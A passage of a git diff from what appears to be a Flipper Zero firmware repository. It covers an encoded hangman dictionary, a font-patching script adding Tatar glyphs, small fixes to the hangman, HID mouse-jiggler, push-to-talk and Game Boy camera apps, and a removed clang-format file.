+è ' +è Ø' +è Ø +è" +è" ' ++/", + + !"( +"( +Ø+/", ++Ø" +"+ +" '+ ++Ø" ++ ++ +è' +è–( +èØ' +è  +è Ø + #%Ø +  +" +*", +!Ø"Ø +!Ø" +" +®¢ØØ +++ +( + # /" +Ø*$  +ØºØ  +Ø–Ø +èØ –Ø" +*" +*"  +*" $ ++ +*"! +*"! +Ø   +'Ø"Ø( ++ ++ +!/" +!Ø +!Ø "Ø +!/" +!" Ø +!"% Ø +"/ +(+ +++ ++ ++' +  +"++ +è "Ø +èØ"' +èØØ +è,/(Ø +èØ  +  +/" +++' ++ '+ ++ !+ + +Ø' +" +" ++ ' ++' +"+ ' +ØØ( +" + +#/" ++' +"+  +  #º +  " + #  + '+ + '+ + + + +' + +' + #  + (++ + ++ +"#+ +"( +"+ +' +( +( + +(+/ +º  +Ø( +'Ø +(Ø + 'Ø +' + ( +!( +!Ø' +"'+ +' +(Ø  +!!"( + " +'+ +'+ ++' ++'+ +" '+ + ( + "( + +" +"+'+ +$%Ø +(" +('++ + Ø!"/ +# +# +#" +#"+! +#*.+' +#*/ +++ !+ +++  +++( +++® +++"®( +++( ++'+ +++  ++ + ++ + ++ +! ++ ++' ++!+ ++!"++ ++!+ + ++'+" +®Ø ' +® +®Ø +®Ø +®®" +® Ø +® Ø'Ø +®!+ +®'Ø'Ø +®Ø +®Ø +® ' +®' +® ØØ +®  +® Ø( +® !Ø"Ø +®"Ø ' +®' ' +®'"ØØ' +®¢'Ø +Ø!"Ø( +èØ' +è+( +è"+( +èØ +è® ( +è'++( +è,/(Ø +è Ø("Ø( +"/ +ØØØ + " +"+' +"#+ +' +" +"#" +"#  +¢' +/#Ø +º  +  +" +++ + +Ø*(# +Ø+(Ø" +ØØ/" +Ø +ØØ'Ø +ØØØ" +Ø %ØØ" +Ø!Ø® +Ø!%Ø" +Ø" ®(Ø +Ø"Ø' +Ø(Ø", +غØØ" +è +èØØ +èØ ! +èØ Ø +è! +è%Ø  +è%Ø Ø + /" + "( +Ø( +Ø!Ø( +Ø!+%Ø" + '+( +!"Ø +"+(%Ø +'+ "+' +"Ø%" +"" + "( +(Ø +"## + " +غ + ( + $( +!"( +!( +!+ +! +!+' +!/" +!+( +!#' +! +! +! Ø' +! "Ø +!Ø®! +!Ø®'Ø +! / +!¢Ø +!/ +! ' +! "Ø +!"" +! + " +!¢++ +!¢+ +!" $+ +!#( +!#+ "+' +!++ +!+++ +!+ %Ø +!+  +!®'Ø +!ØØ", +!Ø " +!Ø$Ø Ø( +!Ø%ØØ( +!Ø®ØØ +""( +"", +"++ +"+( +"+( +"+ ( +"" Ø +"'++ +"('+ +"++' +"+ ( +"++ +" $ +" + +"!"+ +"(! +"( +"( +"(® +"(+' +"(#" +"(*/ +" Ø +"Ø – +"Ø +"Ø"Ø( +"  +" Ø' +"" Ø +" / +" "( +" ( +"+( +" +" +""+ +"#( +"# +"# +"# +"# +"#!" +"#$ ! +"+++ +"+ +' +"+ ++ +"ØØ +"ØØ Ø' +"Ø+ +"ØØ$ +"ØØ  +"Ø+ +"ØØ +"Ø+", +"Ø Ø+ +"Ø-" +"Ø-!  +"èØ'Ø +"è Ø +"è 'Ø +"è  +"è  +"è"Ø"' +#è +#*+ +# '+ +# ++ +#" + +#"+ "+' +$   +$ Ø( +$  +$ / +$ ""( +%/" +%!#!/" +%Ø  +%Ø 'Ø®Ø +%Ø'" ®( +%è +'"'+ +'"( +'( +' # +' ++ +' "Ø +'Ø +'+ '+ +' + +'#++( +'#+'+ +'# +'+++ +'+ ++ +'+"+  +'®'( +'Ø ' +'Ø (Ø +'Ø'"+ +'Ø'" ( +'Ø'"Ø¢Ø +'Ø'® ' +'è +((++ +( + +( !+ +( "Ø +(&/ +(* /" +($%Ø +(+ " +(Ø ", +(Ø®Ø +(ØºØ ' ++¢+ ' +-(Ø "Ø +-('Ø +/Ø(Ø +/ + +' +/ +"# +/"%Ø +/"%Ø +/$ '+ +/¢'+ +– +–!Ø +– +–!"Ø( +–ØØ +–ØØ +–Ø' +–Ø' +–¢Ø'Ø +–º +–++"+' +–ØØ +–Ø+/", +–ØØ", +–غØØ +®!" +®! ' +®"Ø ' +ºØØ!Ø +ºèØ Ø( +Ø%Ø/" +ØØ' +è Ø' +è Ø"' +è'' +è'"+ +è',+ +!" / +"'+ +"!! ++!" +!! / +!" ++( +"+  +!"+ +' +("+' +(® Ø +,/ + Ø + Ø + "' + ' +ØØ +'  +(  +(' +"+' +"+' +/ + " ++"++ +è +è Ø' + / +,"+ +Ø!Ø!Ø' +Ø""Ø +–Ø + */ + #( +è  +è!" +!"+ +Ø !%Ø ++ +"+ + +ØØ  +"!" +# "+' + +" + "ØØ  +!/ +!"*$ +!"Ø" +"", +"+' ++'+ +è,+ + "+' + !" +!¢ +"+' +" +' +'+ + ! +"+ +' +  + ®  + +!+ + + + ! + –Ø + –( +' +" ' +"%Ø + + ++ + Ø!"Ø +#+ "+' +#"+' +#*/#+ +#%Ø +#("+  +#(*/#+ ++! " ++!"+ +' +® !Ø"' +®"Ø "' +Ø ( +è ' +!, +!+ +Ø ' +!Ø +"®Ø +¢*+ +¢*/$  +Ø""Ø( +%Ø""Ø( +'# '+ ++ #Ø +Ø*®" +Ø* $Ø" +Ø'+ +Ø$Ø", +Ø!Ø"Ø( +Ø!,®/" +Ø(#/" +Ø–® /" +Ø–!"Ø( +èØ +è +èØ –Ø +èØ!ØØ" +  +Ø ++ + + " +/"!++ +Ø %" + "/Ø( + "( +"(Ø +& + .!! + " +ØØ +!'+ +!" ' +!#"  +!# Ø"ØØ +!#®'Ø' +!++' +!++$"( +!® ' +!Ø",'Ø +!Ø !Ø +!è ' +!è Ø"' +!è %Ø"Ø +" "+' +"+ + +"+ +"+Ø +"(+ +' +" %+ +" "'+ +"(# ' +" è( +"ØØ +"Ø"' +"Ø"' +"Ø Ø +" ,+ +"+ +' +" ++ +" &'+ +"# +"# ( +"#""+' +"#¢+ +' +"Ø +"Ø*" +"ØØ"' +"Ø Ø+/" +"Ø-!! " +"è"#  +# #+ +# +! +# +'++ +#"+¢' +$" Ø! +$Ø%(%Ø +%+", +%!"%Ø +%–Ø"%Ø +%Ø"Ø +%Ø""Ø( +%#–+'+ +%Ø!"Ø%Ø +'"+ +' '+ +'# ( +'+ + +'+ ++ +'ØØ ØØ +'è  +( ++ +( "+ +( "+' +(Ø,/#+ ++(++' +/'+ +/+++ +/"+ "+' +/"+ + +/ +#" # +/ +$ +/¢+ + +–!++ +–+ +–Ø ' +–'Ø +–Ø"' +–躮 /" +®'Ø +®+Ø" +ºèØ Ø +ºèØ %Ø +Ø%ØØ" +Ø Ø" +Ø¢ØØØ( +(+ +" $ +" " +Ø – +++ ++++ +!++ +"+'Ø'Ø +"+' + '++ +Ø +(Ø + !èØ +Ø' + / + "/ +"  +"!" ++ ++++ ++ ++ +è Ø + $è® + Ø +® "' +++ +"  +'+ +'+ +*Ø +Ø + ! + ' + / ++Ø +( "+' +#++ +(+'+ +  + + $+ + +(+ +Ø®' +" ºè–® +++" +++–( ++Ø ++ + ++/$Ø"Ø ++¢+ + +®  +®Ø' +® Ø +/ +%+ +" !"  + è,/ +!" + +è + +è Ø–Ø", +' ++ +". !" + " + "–++( + ®'Ø' +" +"® +Ø–(Ø + +' + è%!Ø"Ø +!+ + +!++ +!##(# +!"%'+ +!#!+' +!++ "+' +!+ %#%Ø +!Ø/%Ø"Ø +"++ +"!  +"" '+ +"" '++ +"Ø' +" '++ +"+++' +"®Ø' +"ØØ  +"Ø" +"Ø+",' +"Ø"Ø +$/Ø( +$"Ø, +$ " +&" !. +' !++ +' Ø +' $ +'!" "+' +("+ + +(++ +( ""+' +(+"+ + +(+"+ + +(ØºØ 'Ø +-Ø" ' +.('++ +/+("+ +' +/"+ "+' +–Ø +–+ +®#("+' +Ø! Ø"' +è!" Ø' +""®Ø Ø +"%#–+ + "+ +!+/",Ø +®"Ø ' +ØØ'Ø +  +/ +%"+ + "®Ø Ø +Ø*"Ø +Ø", +(Ø + !/+ +++ & ++ Ø"%Ø +®Ø 'Ø +Ø !  + + +/ +¢ Ø"' +!$ %Ø +#$$Ø+/", +è' +è!$ %Ø +$  +Ø!Ø +"!"+ +" # + + #+ + -"Ø + # +!++ +!" % +!+'+ +!&$+ +!# + +"+("+' +"+(""+' +""("+ +' +"++"+' +"Ø* Ø +"غ Ø"%Ø +#," "+( +(& / +(/",Ø +(غØ"Ø +-(( #'+ +/ +"" +/ +"®Ø Ø +ØØ ' ++Ø"%Ø +"+ +""+ +!"'+ +" +èØ!ØØ""Ø( +'++ +"Ø $ +""®Ø Ø + "#/ + "(+ # +"'+"+ +' +"!"'++ +$"® ØØ +/ +®"Ø ' +®!' \ No newline at end of file diff --git a/applications/external/hangman/files_src/bdfconv_prepare.py b/applications/external/hangman/files_src/bdfconv_prepare.py index 56820aa1a5e..f0796bdd29d 100755 --- a/applications/external/hangman/files_src/bdfconv_prepare.py +++ b/applications/external/hangman/files_src/bdfconv_prepare.py @@ -3,14 +3,15 @@ import os -DIR = os.path.dirname(__file__) + '/../files/' +DIR = os.path.dirname(__file__) + "/../files/" + def convert_to_ranges(nums: list) -> str: ranges = [] start = None for i, num in enumerate(nums): - if i == 0 or num != (prev := nums[i-1]) + 1: + if i == 0 or num != (prev := nums[i - 1]) + 1: if start is not None: if prev != start: ranges.append("{}-{}".format(start, prev)) @@ -23,22 +24,22 @@ def convert_to_ranges(nums: list) -> str: ranges.append("{}-{}".format(start, last)) else: ranges.append(str(start)) - return ','.join(ranges) + return ",".join(ranges) def read_lang(name: str) -> set: with open(DIR + name) as file: d, _, _, unicode_base, keyboard, *strings = [x.strip() for x in file] - letters = {int(x, 16) for x in keyboard.split(' ')} - letters |= {ord(x) for x in ''.join(strings)} + letters = {int(x, 16) for x in keyboard.split(" ")} + letters |= {ord(x) for x in "".join(strings)} - if unicode_base[0] == '+': + if unicode_base[0] == "+": unicode_base = int(unicode_base, 16) - with open(DIR + d, 'rb') as dictionary: + with open(DIR + d, "rb") as dictionary: for line in dictionary: - letters |= {x + unicode_base for x in line.strip(b'\x0A')} + letters |= {x + unicode_base for x in line.strip(b"\x0A")} else: letters |= {ord(x) for x in open(DIR + d).read()} @@ -47,7 +48,7 @@ def read_lang(name: str) -> set: letters = set() -with open(DIR + 'menu.txt', 'r') as file: +with open(DIR + "menu.txt", "r") as file: for i, line in enumerate(file): if i & 1 == 0: letters |= {ord(x) for x in line} @@ -57,12 +58,45 @@ def read_lang(name: str) -> set: letters -= {ord("\n")} fonts = { - '6x12': {10003, 10007, }, - '6x13B': {ord('_'), }, + "6x12": ( + "6x12", + { + 10003, + 10007, + }, + ), + "6x13B": ( + "6x13B-patched", + { + ord("_"), + }, + ), } -cmd = 'bdfconv -v -f 1 -m "{0}" {1}.bdf -o {1}.c -n u8g2_font_{1} -d {1}.bdf' - -for name, addon in fonts.items(): +print( + r""" +( + declare -A L=( [Y]=04ae [uni018F]=04d8 [afii10147]=04e8); + awk "!/ENDFONT/ {if (/^CHARS /) print \$1 FS \$2+${#L[@]}+3; else print}" 6x13B.bdf + for key in "${!L[@]}"; do + awk "/CHAR $key\$/,/END/{print}" 6x13B.bdf| + sed "s/^ENC.*/ENCODING $((16#${L[$key]}))/;s/^START.*/STARTCHAR uni${L[$key]}/" + done; + echo -e "STARTCHAR uni04ba\nENCODING 1210\nSWIDTH 426 0\nDWIDTH 6 0\nBBX 6 13 0 -2 +BITMAP\n00\n00\nC0\nC0\nC0\nC0\nC0\nFC\nCC\nCC\nCC\n00\n00\nENDCHAR +STARTCHAR uni04a2\nENCODING 1186\nSWIDTH 426 0\nDWIDTH 6 0\nBBX 6 13 0 -2 +BITMAP\n00\n00\nD8\nD8\nD8\nD8\nF8\nD8\nD8\nD8\nDC\n04\n00\nENDCHAR +STARTCHAR uni0496\nENCODING 1174\nSWIDTH 426 0\nDWIDTH 6 0\nBBX 6 13 0 -2 +BITMAP\n00\n00\nA8\nA8\nA8\nF8\n20\nF8\nA8\nA8\nAC\n04\n00\nENDCHAR +ENDFONT" +) > 6x13B-patched.bdf +""" +) + +cmd = '../bdfconv/bdfconv -v -f 1 -m "{0}" {2}.bdf -o {1}.c -n u8g2_font_{1}' + +for name, (fontname, addon) in fonts.items(): letters_str = convert_to_ranges(sorted(letters | addon)) - print(cmd.format(letters_str, name)+"\n") + print(cmd.format(letters_str, name, fontname) + "\n") + +print("sed 's/U8G2_FONT_SECTION.*/=/' 6x12.c 6x13B.c") diff --git a/applications/external/hangman/files_src/convert.sh b/applications/external/hangman/files_src/convert.sh index c026b6b3032..ac872422811 100755 --- a/applications/external/hangman/files_src/convert.sh +++ b/applications/external/hangman/files_src/convert.sh @@ -1,4 +1,5 @@ #!/bin/sh DIR=$(dirname $(readlink -f $0)) -tr -d '\04\r\0' < "$DIR/russian.ucs2.dict" > "$DIR/../files/russian.dict" +LC_ALL=C tr -d '\04\r\0' < "$DIR/russian.ucs2.dict" > "$DIR/../files/russian.dict" +LC_ALL=C tr -d '\04\r\0' < "$DIR/tatar.ucs2.dict" > "$DIR/../files/tatar.dict" diff --git a/applications/external/hangman/files_src/russian.ucs2.dict b/applications/external/hangman/files_src/russian.ucs2.dict index a180f44d2e6..1567ca70d6e 100644 Binary files a/applications/external/hangman/files_src/russian.ucs2.dict and b/applications/external/hangman/files_src/russian.ucs2.dict differ diff --git a/applications/external/hangman/files_src/tatar.ucs2.dict b/applications/external/hangman/files_src/tatar.ucs2.dict new file mode 100644 index 00000000000..b4134d80fe1 Binary files /dev/null and b/applications/external/hangman/files_src/tatar.ucs2.dict differ diff --git a/applications/external/hangman/helpers/hangman.c b/applications/external/hangman/helpers/hangman.c index aa0e137bae2..169185c8560 100644 --- a/applications/external/hangman/helpers/hangman.c +++ b/applications/external/hangman/helpers/hangman.c @@ -234,17 +234,17 @@ void hangman_choice_letter(HangmanApp* app) { void hangman_clear_state(HangmanApp* app) { app->pos = 0; app->gallows_state = HANGMAN_GALLOWS_INIT_STATE; - app->need_generate = false; app->eog = HangmanGameOn; - if(app->word.arr != NULL) { - free(app->word.arr); - } + memset(app->opened, HangmanOpenedInit, HANGMAN_MAX_ALP_SIZE); + free(app->word.arr); + app->word = (HangmanWord){NULL, 0}; if(app->lang != NULL) { - memset(app->opened, HangmanOpenedInit, HANGMAN_MAX_ALP_SIZE); app->word = hangman_get_random_word(app->lang->dict_file, app->lang->unicode_base); } + + app->need_generate = false; } int hangman_read_int(Stream* stream) { @@ -381,9 +381,8 @@ void hangman_app_free(HangmanApp** app) { hangman_free_menu_data((*app)->menu, (*app)->menu_cnt); - if((*app)->word.arr != NULL) { - free((*app)->word.arr); - } + free((*app)->word.arr); + if((*app)->lang != NULL) { free((*app)->lang->dict_file); free((*app)->lang->message_ok); diff --git a/applications/external/hangman/helpers/hangman_fonts.c b/applications/external/hangman/helpers/hangman_fonts.c index 278a3afa964..caa475548c8 100644 --- a/applications/external/hangman/helpers/hangman_fonts.c +++ b/applications/external/hangman/helpers/hangman_fonts.c @@ -51,11 +51,11 @@ const uint8_t u8g2_font_6x12[1223] = /* Fontname: -Misc-Fixed-Bold-R-SemiCondensed--13-120-75-75-C-60-ISO10646-1 Copyright: Public domain font. Share and enjoy. - Glyphs: 98/1282 + Glyphs: 110/1294 BBX Build Mode: 0 */ -const uint8_t u8g2_font_6x13B[1198] = - "b\0\3\3\3\4\3\5\4\6\15\0\376\11\376\13\376\0\14\1<\2\2 \5\0n\7!\7JC" +const uint8_t u8g2_font_6x13B[1360] = + "n\0\3\3\3\4\3\5\4\6\15\0\376\11\376\13\376\0\14\1<\2\2 \5\0n\7!\7JC" "\307\223\0A\14NB\227\214\42b:\214\230\4B\15NBGI\242\27\222D\227\13\0C\13NB" "\17ED\324\223\204\2D\13NBGI\242\377\313\5\0E\13NB\307!\250X\21*\32F\13N" "B\307!\250X\21j\4G\15NB\17ED\324R\42I(\0H\13NB\207\210\323a\304I\0" @@ -92,7 +92,12 @@ const uint8_t u8g2_font_6x13B[1198] = "\13\66B\17E\304IB\1\4\77\12\66B\307!\304\223\0\4@\14F:GE\304t\21*\2\4" "A\14\66B\17EDT\222P\0\4B\13\66B\307E\22\22j\2\4C\15F:\207\210\313D\221" "$\241\0\4E\15\66B\207HB\223QD$\1\4H\20\66BG$\62\211L\42\223\310$r\10" - "\4K\14\66BGlV\231T.\2\0"; + "\4K\14\66BGlV\231T.\2\4\330\17NB\17E$\24\36FL\22\12\0\4\272\14NB" + "\207P\307C\210I\0\4\242\15V>\207D\277T\364\313\64\0\4\226\17V>G$\177\251\305*\371" + "\213\64\0\4\350\16NB\17E\304t\30\61I(\0\4\272\14NB\207P\307C\210I\0\4\242\15" + "V>\207D\277T\364\313\64\0\4\226\17V>G$\177\251\305*\371\213\64\0\4\256\15NB\207\210" + "$!\321\204:\1\4\272\14NB\207P\307C\210I\0\4\242\15V>\207D\277T\364\313\64\0\4" + "\226\17V>G$\177\251\305*\371\213\64\0\0"; void hangman_set_font(Canvas* canvas, const uint8_t h) { canvas_set_custom_u8g2_font(canvas, h == 12 ? u8g2_font_6x12 : u8g2_font_6x13B); diff --git a/applications/external/hid_app/views/hid_mouse_jiggler.c b/applications/external/hid_app/views/hid_mouse_jiggler.c index c303d36db68..0fbef4d721c 100644 --- a/applications/external/hid_app/views/hid_mouse_jiggler.c +++ b/applications/external/hid_app/views/hid_mouse_jiggler.c @@ -83,7 +83,7 @@ static void hid_mouse_jiggler_timer_callback(void* context) { model->counter++; hid_hal_mouse_move( hid_mouse_jiggler->hid, - (model->counter % 2 == 0) ? MOUSE_MOVE_TINY : -MOUSE_MOVE_TINY, + (model->counter % 2 == 0) ? MOUSE_MOVE_SHORT : -MOUSE_MOVE_SHORT, 0); } }, diff --git a/applications/external/hid_app/views/hid_mouse_jiggler.h b/applications/external/hid_app/views/hid_mouse_jiggler.h index c1f77251ecb..025a8638520 100644 --- a/applications/external/hid_app/views/hid_mouse_jiggler.h +++ b/applications/external/hid_app/views/hid_mouse_jiggler.h @@ -2,7 +2,7 @@ #include -#define MOUSE_MOVE_TINY 1 +#define MOUSE_MOVE_SHORT 5 typedef struct Hid Hid; typedef struct HidMouseJiggler HidMouseJiggler; diff --git a/applications/external/hid_app/views/hid_ptt.c b/applications/external/hid_app/views/hid_ptt.c index 3d5879f2b72..1d71490a205 100644 --- a/applications/external/hid_app/views/hid_ptt.c +++ b/applications/external/hid_app/views/hid_ptt.c @@ -104,11 +104,7 @@ static void hid_ptt_trigger_camera_linux_zoom(HidPushToTalk* hid_ptt) { hid_hal_keyboard_press(hid_ptt->hid, KEY_MOD_LEFT_ALT | HID_KEYBOARD_V); hid_hal_keyboard_release(hid_ptt->hid, KEY_MOD_LEFT_ALT | HID_KEYBOARD_V); } -static void hid_ptt_trigger_hand_macos_zoom(HidPushToTalk* hid_ptt) { - hid_hal_keyboard_press(hid_ptt->hid, KEY_MOD_LEFT_GUI | HID_KEYBOARD_Y); - hid_hal_keyboard_release(hid_ptt->hid, KEY_MOD_LEFT_GUI | HID_KEYBOARD_Y); -} -static void hid_ptt_trigger_hand_linux_zoom(HidPushToTalk* hid_ptt) { +static void hid_ptt_trigger_hand_zoom(HidPushToTalk* hid_ptt) { hid_hal_keyboard_press(hid_ptt->hid, KEY_MOD_LEFT_ALT | HID_KEYBOARD_Y); hid_hal_keyboard_release(hid_ptt->hid, KEY_MOD_LEFT_ALT | HID_KEYBOARD_Y); } @@ -427,7 +423,7 @@ static void hid_ptt_menu_callback( case HidPushToTalkAppIndexZoom: model->callback_trigger_mute = hid_ptt_trigger_mute_macos_zoom; model->callback_trigger_camera = hid_ptt_trigger_camera_macos_zoom; - model->callback_trigger_hand = hid_ptt_trigger_hand_macos_zoom; + model->callback_trigger_hand = hid_ptt_trigger_hand_zoom; model->callback_start_ptt = hid_ptt_start_ptt_meet_zoom; model->callback_stop_ptt = hid_ptt_stop_ptt_meet_zoom; break; @@ -495,7 +491,7 @@ static void hid_ptt_menu_callback( case HidPushToTalkAppIndexZoom: model->callback_trigger_mute = hid_ptt_trigger_mute_linux_zoom; model->callback_trigger_camera = hid_ptt_trigger_camera_linux_zoom; - model->callback_trigger_hand = hid_ptt_trigger_hand_linux_zoom; + model->callback_trigger_hand = hid_ptt_trigger_hand_zoom; model->callback_start_ptt = hid_ptt_start_ptt_meet_zoom; model->callback_stop_ptt = hid_ptt_stop_ptt_meet_zoom; break; diff --git a/applications/external/intervalometer2/.github/workflows/build.yml b/applications/external/intervalometer2/.github/workflows/build.yml index 05d48a155a9..b28f53fa671 100644 --- a/applications/external/intervalometer2/.github/workflows/build.yml +++ b/applications/external/intervalometer2/.github/workflows/build.yml @@ -22,7 +22,7 @@ jobs: - name: Checkout uses: actions/checkout@v3 - name: Build with ufbt - uses: flipperdevices/flipperzero-ufbt-action@v0.1.2 + uses: flipperdevices/flipperzero-ufbt-action@v0.1 id: build-app with: sdk-channel: ${{ matrix.sdk-channel }} diff --git a/applications/external/intervalometer2/application.fam b/applications/external/intervalometer2/application.fam index 66023c46eae..5ee18a5ec85 100644 --- a/applications/external/intervalometer2/application.fam +++ b/applications/external/intervalometer2/application.fam @@ -1,5 +1,5 @@ App( - appid="ir_intervalometersony", + appid="ir_intervalometer", name="IR Intervalometer for Sony Cameras", apptype=FlipperAppType.EXTERNAL, entry_point="flipvalo_app", @@ -10,6 +10,6 @@ App( fap_icon_assets_symbol="intervalometer", fap_author="Nitepone", fap_weburl="https://github.com/Nitepone/flipper-intervalometer", - fap_version=(1, 1), + fap_version=(1, 2), fap_description="This is a simple configurable valometer app for Sony cameras. Works via Infrared port.", ) diff --git a/applications/external/malveke_gb_cartridge/icons/icon.png b/applications/external/malveke_gb_cartridge/icons/icon.png index 4a53f328586..e0775f54ab9 100644 Binary files a/applications/external/malveke_gb_cartridge/icons/icon.png and b/applications/external/malveke_gb_cartridge/icons/icon.png differ diff --git a/applications/external/malveke_gb_live_camera/application.fam b/applications/external/malveke_gb_live_camera/application.fam index ad62d13e979..0fd257e3411 100644 --- a/applications/external/malveke_gb_live_camera/application.fam +++ b/applications/external/malveke_gb_live_camera/application.fam @@ -9,6 +9,6 @@ App( fap_category="GPIO/MALVEKE", fap_author="Esteban Fuentealba", fap_weburl="https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/", - fap_version=(1, 0), + fap_version=(1, 1), fap_description="Insert a GAME BOY Camera cartridge, you can use it as a camera and take snapshots from the Flipper Zero.", ) diff --git a/applications/external/malveke_gb_live_camera/gb_live_camera.c b/applications/external/malveke_gb_live_camera/gb_live_camera.c index d367c06deb7..bb84bae0d35 100644 --- a/applications/external/malveke_gb_live_camera/gb_live_camera.c +++ b/applications/external/malveke_gb_live_camera/gb_live_camera.c @@ -263,6 +263,9 @@ static UartEchoApp* gb_live_camera_app_alloc() { view_dispatcher_enable_queue(app->view_dispatcher); view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); + // Turn backlight on + notification_message(app->notification, &sequence_display_backlight_enforce_on); + // Views app->view = view_alloc(); view_set_context(app->view, app); @@ -310,6 +313,7 @@ static void gb_live_camera_app_free(UartEchoApp* app) { furi_hal_uart_set_irq_cb(FuriHalUartIdLPUART1, NULL, NULL); furi_hal_uart_deinit(FuriHalUartIdLPUART1); + notification_message(app->notification, &sequence_display_backlight_enforce_auto); // Free views view_dispatcher_remove_view(app->view_dispatcher, 0); diff --git a/applications/external/malveke_gb_live_camera/gb_live_camera.h b/applications/external/malveke_gb_live_camera/gb_live_camera.h index 72fad5056d8..f3819893d84 100644 --- a/applications/external/malveke_gb_live_camera/gb_live_camera.h +++ b/applications/external/malveke_gb_live_camera/gb_live_camera.h @@ -44,6 +44,11 @@ static const unsigned char bitmap_header[BITMAP_HEADER_LENGTH] = { 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x00}; +static const unsigned char bitmap_header_gameboy_full[BITMAP_HEADER_LENGTH] = { + 0x42, 0x4D, 0x80, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x28, 0x00, + 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x42, 0x0B, 0x00, 0x00, 0x12, 0x0B, 0x00, 0x00, 0x12, 0x0B, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; const uint8_t _I_DolphinCommon_56x48_0[] = { 0x01, 0x00, 0xdf, 0x00, 0x00, 0x1f, 0xfe, 0x0e, 0x05, 0x3f, 0x04, 0x06, 0x78, 0x06, 0x30, 0x20, @@ -101,7 +106,7 @@ typedef enum { #define WORKER_EVENTS_MASK (WorkerEventStop | WorkerEventRx) const NotificationSequence sequence_notification = { - &message_display_backlight_on, + // &message_display_backlight_on, &message_delay_10, NULL, }; \ No newline at end of file diff --git a/applications/external/malveke_gb_live_camera/icons/icon.png b/applications/external/malveke_gb_live_camera/icons/icon.png index 019f5b6b864..61572571201 100644 Binary files a/applications/external/malveke_gb_live_camera/icons/icon.png and b/applications/external/malveke_gb_live_camera/icons/icon.png differ diff --git a/applications/external/malveke_gba_cartridge/icons/icon.png b/applications/external/malveke_gba_cartridge/icons/icon.png index 279e1c9a2d3..2c86416e81f 100644 Binary files a/applications/external/malveke_gba_cartridge/icons/icon.png and b/applications/external/malveke_gba_cartridge/icons/icon.png differ diff --git a/applications/external/malveke_pokemon_trading/.clang-format b/applications/external/malveke_pokemon_trading/.clang-format deleted file mode 100644 index 4b76f7fa43b..00000000000 --- a/applications/external/malveke_pokemon_trading/.clang-format +++ /dev/null @@ -1,191 +0,0 @@ ---- -Language: Cpp -AccessModifierOffset: -4 -AlignAfterOpenBracket: AlwaysBreak -AlignArrayOfStructures: None -AlignConsecutiveMacros: None -AlignConsecutiveAssignments: None -AlignConsecutiveBitFields: None -AlignConsecutiveDeclarations: None -AlignEscapedNewlines: Left -AlignOperands: Align -AlignTrailingComments: false -AllowAllArgumentsOnNextLine: true -AllowAllParametersOfDeclarationOnNextLine: false -AllowShortEnumsOnASingleLine: true -AllowShortBlocksOnASingleLine: Never -AllowShortCaseLabelsOnASingleLine: false -AllowShortFunctionsOnASingleLine: None -AllowShortLambdasOnASingleLine: All -AllowShortIfStatementsOnASingleLine: WithoutElse -AllowShortLoopsOnASingleLine: true -AlwaysBreakAfterDefinitionReturnType: None -AlwaysBreakAfterReturnType: None -AlwaysBreakBeforeMultilineStrings: false -AlwaysBreakTemplateDeclarations: Yes -AttributeMacros: - - __capability -BinPackArguments: false -BinPackParameters: false -BraceWrapping: - AfterCaseLabel: false - AfterClass: false - AfterControlStatement: Never - AfterEnum: false - AfterFunction: false - AfterNamespace: false - AfterObjCDeclaration: false - AfterStruct: false - AfterUnion: false - AfterExternBlock: false - BeforeCatch: false - BeforeElse: false - BeforeLambdaBody: false - BeforeWhile: false - IndentBraces: false - SplitEmptyFunction: true - SplitEmptyRecord: true - SplitEmptyNamespace: true -BreakBeforeBinaryOperators: None -BreakBeforeConceptDeclarations: true -BreakBeforeBraces: Attach -BreakBeforeInheritanceComma: false -BreakInheritanceList: BeforeColon -BreakBeforeTernaryOperators: false -BreakConstructorInitializersBeforeComma: false -BreakConstructorInitializers: BeforeComma -BreakAfterJavaFieldAnnotations: false -BreakStringLiterals: false -ColumnLimit: 99 -CommentPragmas: '^ IWYU pragma:' -QualifierAlignment: Leave -CompactNamespaces: false -ConstructorInitializerIndentWidth: 4 -ContinuationIndentWidth: 4 -Cpp11BracedListStyle: true -DeriveLineEnding: true -DerivePointerAlignment: false -DisableFormat: false -EmptyLineAfterAccessModifier: Never -EmptyLineBeforeAccessModifier: LogicalBlock -ExperimentalAutoDetectBinPacking: false -PackConstructorInitializers: BinPack -BasedOnStyle: '' -ConstructorInitializerAllOnOneLineOrOnePerLine: false -AllowAllConstructorInitializersOnNextLine: true -FixNamespaceComments: false -ForEachMacros: - - foreach - - Q_FOREACH - - BOOST_FOREACH -IfMacros: - - KJ_IF_MAYBE -IncludeBlocks: Preserve -IncludeCategories: - - Regex: '.*' - Priority: 1 - SortPriority: 0 - CaseSensitive: false - - Regex: '^(<|"(gtest|gmock|isl|json)/)' - Priority: 3 - SortPriority: 0 - CaseSensitive: false - - Regex: '.*' - Priority: 1 - SortPriority: 0 - CaseSensitive: false -IncludeIsMainRegex: '(Test)?$' -IncludeIsMainSourceRegex: '' -IndentAccessModifiers: false -IndentCaseLabels: false -IndentCaseBlocks: false -IndentGotoLabels: true -IndentPPDirectives: None -IndentExternBlock: AfterExternBlock -IndentRequires: false -IndentWidth: 4 -IndentWrappedFunctionNames: true -InsertTrailingCommas: None -JavaScriptQuotes: Leave -JavaScriptWrapImports: true -KeepEmptyLinesAtTheStartOfBlocks: false -LambdaBodyIndentation: Signature -MacroBlockBegin: '' -MacroBlockEnd: '' -MaxEmptyLinesToKeep: 1 -NamespaceIndentation: None -ObjCBinPackProtocolList: Auto -ObjCBlockIndentWidth: 4 -ObjCBreakBeforeNestedBlockParam: true -ObjCSpaceAfterProperty: true -ObjCSpaceBeforeProtocolList: true 